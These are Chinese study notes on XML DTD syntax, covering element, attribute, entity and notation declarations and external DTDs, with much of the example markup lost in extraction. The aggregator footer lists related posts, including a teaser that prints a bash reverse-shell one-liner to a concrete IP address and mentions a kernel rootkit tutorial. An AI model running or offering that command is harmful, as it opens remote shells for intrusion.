【XML】学习笔记第二章-dtd

XML-DTD

DTD(Document Type Definition):文档类型定义。

DTD实际应用:

  • 验证XML文档数据的有效性
  • 为某类XML文档提供统一的格式和相同的结构
  • 保证在一定范围内,XML文档数据的交流和共享
  • 开发人员可根据DTD了解到XML文档的逻辑结构,从而写出相应的处理应用程序

]>

        文本内容1

        文本内容2

符合XML语法的XML文档是结构良好的XML文档

通过DTD验证的XML文档是有效的XML文档


]>

        李白

        18

DTD语句

基本声明语句

  • 元素类型声明语句 <!ELEMENT>
  • 属性列表声明语句 <!ATTLIST>
  • 实体声明语句 <!ENTITY>
  • 符号声明语句 <!NOTATION>
  • 注释语句 <!-- -->

定义关键字一定要大写,例如 DOCTYPEELEMENT#PCDATA
元素名称与数据类型之间要有空格(元素名称后如果有内容,要用空格隔开)

引用外部DTD


外部DTD优点:可以方便高效的被多个XML文档所共享(就是多个XML用同一个DTD)

外部DTD的创建方式、语法、内部DTD是一样的。



        &Profile;

        李白

        18

SYSTEM 表示私有的;公共有的PUBLIC。
另一种说法是:SYSTEM,表示当前的DTD文件是本地的
如果写的是PUBLIC,则表示引入的DTD文件是来自于网络的.

公共DTD名称约定:如果是ISO标准DTD,命名以”+”开始,否则以”-“开始。


根据 DTD_name选择选择版本,如果根据DTD_name找不到相应版本,则根据DTD_location来找。

DTD元素

四种元素类型

  • 空元素。例如 <tag></tag>
  • 仅包含文本的元素(即字符内容)例如: <tag>&#x5FAE;&#x4FE1;&#x516C;&#x4F17;&#x53F7;&#xFF1A;&#x840C;&#x72FC;&#x84DD;&#x5929;</tag>
  • 仅包含子元素的元素 <tag><chid>mllt9920</chid></tag>
  • 混合型(包含内容既有内容也有文本内容)

元素定义关键字

  • EMPTY该元素不能包含元素和文本,但是可以有属性
  • ANY 该元素可以包含任何在DTD中定义的元素内容,而且元素出现的次数和顺序不受限制
  • #PCDATA仅能包含任何字符数据的文本内容。
  • (&#x5B50;&#x5143;&#x7D20;)仅能包含子元素

在元素设置中,如果元素包含多个子元素,这些子元素是有顺序的,没有特殊约束情况下,每个子元素必须出现且只能出现一次。

修饰符号

符号 用途 () 用来给元素分组 \ + 元素至少出现一次,一次或多次 * 元素可有可无,出现零次、一次或多次 ? 元素可有可无,但最多只能出现一次 符号 用途 示例 示例说明 ( ) 用来给元素分组 (古龙\ 金庸\ \ 在列出的对象中选择一个 (男人\ + 该对象最少出现一次,可以出现多次 (1或多次) (成员+) 表示成员必须出现,而且可以出现多个成员 * 该对象允许出现零次到任意多次(0到多次) (爱好*) 爱好可以出现零次到多次 ? 该对象可以出现,但只能出现一次 (0到1次) (菜鸟?) 菜鸟可以出现,也可以不出现,如果出现的话,最多只能出现一次 , 对象必须按指定的顺序出现 (西瓜,苹果,香蕉) 表示西瓜、苹果、香蕉必须出现,并且按这个顺序出现

无修饰符号:必须出现且只能出现一次

DTD中的属性

在DTD中声明元素属性的语法: &#xA1;<!ATTLIST 元素名称 [属性名 属性类型 [约束] [缺省值]]+>

在一个ATTLIST 中可以定义同一个元素下的一个或多个属性。如果包含多个属性声明,属性声明之间使用空格间隔。

  • 元素名称:属性所属的元素名称
  • 属性名:属性名称
  • 属性类型:属性的值类型
  • 约束:元素对属性的约束

属性修饰

修饰符 含义 #REQUIRED 表示该属性是必需的,不能没有。 #IMPLIED 表示该属性可以有也可以没有。 #FIXED 表示在XML文档中只会给出一个元素属性所定义的固定值。只有当约束为该值时,才能给出缺省值,注意缺省值必须给出。

属性类型

属性类型 说明 CDATA 单纯的字符数据,大部分属性都设置为该类型 ID 具有唯一性的属性值,需要注意的是该属性值必须以字母开头 IDREF 引用其它ID属性的值,该值必须在其它ID属性中存在 IDREFS 引用多个其它ID属性的值,中间使用空格间隔 ENTITY 未解析的外部实体类型, ENTITIES 多个未解析的外部实体类型,中间使用空格间隔 NMTOKEN 是Name Token,就是关键字的名字。可以包含字母、数字、[.]、[-]、[_]、[:]组合的名字 NMTOKENS 多个NMTOKEN,中间使用空格间隔 NOTATION 标记名称 Enumerated 枚举类型的属性,只能从已有的属性中选取,不能填入新项目

例如


        XML教程

        清华大学出版社
        978-7-302-22348-1

        三国演义

        人民文学出版社
        978702005155


DTD中的实体和符号

【XML】学习笔记第二章-dtd

内部实体的语法格式: <!ENTITY 实体名称 "实体内容">

  • 实体名称:实体名称由DTD程序员自己定义,但必须满足唯一性,即不能重名。同时满足XML的命名规范。
  • 实体内容:所需要表达的文本内容

定义外部解析实体的语法: <!ENTITY 实体名称 SYSTEM|PUBLIC ["公共实体标识符" ] "URI/URL">

  • URI/URL:所引用的外部文件的路径地址,被引用的外部文件必须是可以被解析的,扩展名没有限制。
  • 实体为PUBLIC时才会有相应的”公共实体标识符” ,如果为SYSTEM则没有”公共实体标识符”

定义外部未解析实体的语法: <!ENTITY 实体名称 SYSTEM "URL/URL" NDATA 标记名>

  • URI/URL:所引用的外部文件的路径地址
  • 标记名:被定义的符号的名称。

这是通过引用外部文件来解析实体。例如图片无法被解析,就用外部图片查看类工具解析

声明参数内部解析实体的语法: <!ENTITY % 参数实体名称 "实体内容">

  • 参数实体名称:实体名称由DTD程序员自己定义,但必须满足唯一性,即不能重名。同时满足XML的命名规范。
  • 实体内容:所需要表达的文本内容。

声明参数外部解析实体的语法: <!ENTITY % 参数实体名称 SYSTEM "URL/URL">

URI/URL:所引用的外部文件的路径地址

  • 引用参数实体的语法:
  • %参数实体名称;

参数实体都是在dtd中被引用的

符号

普通符号的语法格式: <!NOTATION 符号名称 SYSTEM | PUBLIC ["公共符号标识符"] "URI\URL">

  • 符号名称:名称由DTD程序员自己定义,但必须满足唯一性,即不能重名。同时满足XML的命名规范
  • URI\URL:外部来处理这些未解析数据的程序路径
  • 符号为PUBLIC时才会有相应的”公共符号标识符” ,如果为SYSTEM则没有”公共符号标识符”

一个小坑


        ]>

    &PIC;
    李白
    18

如上,正常执行,但是如果是引用的外部dtd,如下


    &PIC;
    李白
    18


则会出现找不到 &PIC;的情况,询问老师后知道:浏览器不支持这样……

Original: https://www.cnblogs.com/mllt/p/xml-dtd.html
Author: 萌狼蓝天
Title: 【XML】学习笔记第二章-dtd

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/611059/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • MySQL之多表查询、Navicat及pymysql

    一、多表查询 1.1 数据准备 — 建表 create table dep( id int primary key auto_increment, name varchar(20…

    Linux 2023年6月14日
    099
  • tp5,把耗时操作转为队列,queue + redis + supervisor消息推送(队列的执行异步不异步不知道,workman,swoole可以异步)

    添加队列 /** * 发送一个推送 * @param mixed client_id 设备号(字符串/数组) 1 * @param int group 分组(如:1=用户端2=骑手…

    Linux 2023年5月28日
    074
  • Android:Jetpack之视图绑定——ViewBinding

    1.Jetpack简介 手机厂商还没卷完Android 12, Android 13就悄然声息地来了,距离Google 2008年9月22日发布Android 1.0,已过去13个…

    Linux 2023年6月13日
    095
  • java程序使用ssl证书连接mysql

    bash;gutter:false; 1. 在mysql服务器上生成证书 openssl genrsa 2048 > ca-key.pem openssl req -new …

    Linux 2023年6月7日
    088
  • powershell 编写的tui界面脚本《电壳别名宝》

    中文名: 《电壳别名宝》 English name: 《Power Alias》 powershell 编写的tui界面脚本。 用途:保存容易记住的别名(支持中文),保存linux…

    Linux 2023年6月14日
    087
  • 2018部分

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    075
  • 搭建docker镜像仓库(一):使用registry搭建本地镜像仓库

    服务器版本 docker软件版本 CPU架构 CentOS Linux release 7.4.1708 (Core) Docker version 20.10.12 x86_64…

    Linux 2023年6月7日
    077
  • NO.6 HTML+CSS 笔记

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    088
  • 【微服务】Nacos初体验

    SpringCloud – Nacos初体验 😄生命不息,写作不止🔥 继续踏上学习之路,学之分享笔记👊 总有一天我也能像各位大佬一样🏆 一个有梦有戏的人 @怒放吧德德🌝…

    Linux 2023年6月6日
    0102
  • 编写一个简单的linux kernel rootkit

    一、前言 linux kernel rootkit跟普通的应用层rootkit个人感觉不大,个人感觉区别在于一个运行在用户空间中,一个运行在内核空间中;另一个则是编写时调用的API…

    Linux 2023年6月8日
    0101
  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    086
  • 性能测试—性能监控

    性能测试中,首先需要确定需求 测什么?怎么测?达到什么标准?。确定好性能测试的需要之后选择性能测试工具,jmeter或者LoadRunner。 分析是否需要分布式压测,如果需要分布…

    Linux 2023年6月8日
    060
  • 安装及管理文件

    优点: 契合系统兼容性强 如果你可以看懂源代码,修改新增功能 比较自由 缺点: 如果编译出了问题,你看不懂源代码,无法解决 安装过程复杂 没有统一的管理人员 安装过程 程序包编译安…

    Linux 2023年6月6日
    086
  • urandom和random区别

    linux中提供了 /dev/urandom 和 /dev/random 两个特殊设备来提供随机数。那么这两个文件有什么区别呢?要回答这个问题,先需要了解熵这个概念。 熵linux…

    Linux 2023年6月7日
    076
  • 维修数列代码及简易题解

    总体方案:将左右端点分别转到根和根的右儿子,将目标序列挤到以根的右儿子的左儿子为根的子树中,然后进行一系列骚操作即可 建树:用类似线段树的方法建树,递归即可,注意加两个边界点 插入…

    Linux 2023年6月6日
    0111
  • 节约内存:Instagram的Redis实践(转)

    1.M emcached 内存Key-Value Cache Redis 内存数据库 四,节约内存:Instagram的Redis实践 Instagram可以说是网拍App的始祖级…

    Linux 2023年5月28日
    089
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球